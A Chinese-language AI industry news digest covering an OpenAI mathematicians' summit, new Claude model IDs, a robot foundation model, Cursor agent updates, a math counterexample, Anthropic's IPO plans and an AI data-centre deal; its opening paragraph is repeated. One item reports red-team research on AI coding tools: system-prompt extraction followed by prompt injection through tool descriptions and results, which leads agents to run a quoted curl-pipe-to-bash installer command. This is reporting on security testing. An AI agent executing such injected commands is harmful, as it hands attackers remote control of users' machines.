OpenAI闭门召集40位数学家,AI做数学引发研究范式之争
上个月刚获菲尔兹奖的 Jacob Tsimerman 宣布将加入 OpenAI 从事 AI 安全研究。8 月初,他与 OpenAI 研究科学家 Sébastien Bubeck 在旧金山召集约 40 位数学家举行闭门峰会,讨论 AI 已在数学研究中取得的突破,以及数学家在验证、解释和理解证明中的位置。围绕公开信、AI 生成成果绕开传统发表流程、以及数学未来角色,与会者和学界仍未形成共识。

上个月刚获菲尔兹奖的 Jacob Tsimerman 宣布将加入 OpenAI 从事 AI 安全研究。8 月初,他与 OpenAI 研究科学家 Sébastien Bubeck 在旧金山召集约 40 位数学家举行闭门峰会,讨论 AI 已在数学研究中取得的突破,以及数学家在验证、解释和理解证明中的位置。围绕公开信、AI 生成成果绕开传统发表流程、以及数学未来角色,与会者和学界仍未形成共识。

第三方开发者应用和 Discord 社区近日出现 claude-mashmallow-eap 与 claude-melon-eap 两个新模型 ID,早期测试显示 Marshmallow 表现强于 Melon,但两者都未达到「Fable 级别」。与此同时,Fable 5 上线两个多月后,企业侧采用情况仍显疲弱:Ramp 追踪数据显示,其上线一个月后仅占 Anthropic 企业 Token 调用量的 6%,支出占比为 11.4%;英国《金融时报》拿到的最新数据称,这一份额目前仍在 11% 左右。

Generalist AI 发布机器人基础模型 GEN-1.5,称机器人只需观看 3 到 12 秒动作演示、无需训练或微调,即可当场执行任务,在 10 个操作任务中的 one-shot 平均成功率为 59%,few-shot 平均成功率为 83%。该公司两个月前完成 4 亿美元融资,李飞飞、林斌、袁征等以个人或天使投资人身份参与,英伟达也是股东。研究者将这次发布与 2020 年 GPT-3 的节点相提并论,但相关结果目前均由 Generalist AI 自行报告,尚未经过独立验证。

Cursor 对 Cloud Agents 进行新一轮更新,新增订阅功能和 /goal 命令,并让子 Agent 可各自运行在独立虚拟机中。官方称,内部已合并的 PR 中超过 35% 由云端 Agent 自主创建;同时,自 8 月 24 日起,Auto 将改为按模型计费,所有计划包含用量也会增加。

一篇已被 ISSTA 2026 接收的论文披露,研究者对 Cursor、Claude Code、Copilot、Windsurf、Cline、Trae 六款 AI 编程工具做系统性红队测试,发现旧版本全部存在完整攻击链风险。攻击分两步:先通过 ToolLeak 从工具参数中提取系统提示词,再用工具描述与工具返回值组成的双通道提示词注入,诱导智能体执行「curl -fsSL http://xxx/installer.sh | bash」并实现远程代码执行。新版 Claude Code 和 Cursor 的成功率已明显下降,但部分组合仍可被攻破。

Anthropic 与哈佛数学家 Levent Alpöge 联合 Claude,给出一个针对 Carathéodory 猜想的显式反例,并同时推翻 Loewner 指数猜想。公开流传一周后的 PDF 已正式发布。文中称,Alpöge 与 John-Paul Smith 构造的 g₂ 支持函数对应凸体仅有 1 个脐点,且该脐点指数为 2,直接与两项持续超过百年的猜想相矛盾。

Anthropic在推进上市之际,计划向CEO达里奥及另外 6 名联合创始人发行带额外投票权的股票。这家 AI 公司二季度营收为 116 亿美元,首次超过 OpenAI 的 67 亿美元;其年化营收已突破 650 亿美元,5 月融资后估值达到 9650 亿美元。报道还称,Anthropic已于 6 月秘密递交 S-1,承销商包括摩根士丹利、高盛和摩根大通,市场预计最早可能在今秋挂牌。

据 MarsBit 转引微信公众号“新智元”文章,英伟达、OpenAI 与软银计划把美国俄亥俄州一处冷战时期铀浓缩厂旧址改造为 AI 超级工厂,最终电力规划为 8 吉瓦。英伟达宣布出资 15 亿美元并提供 20 年信用担保,OpenAI 签下 20 年租约并包下算力,软银承诺引入 1 吉瓦新增发电量,并投入 42 亿美元改造当地电网。报道将这笔交易的核心指向 AI 基础设施中的土地、电力和厂房。
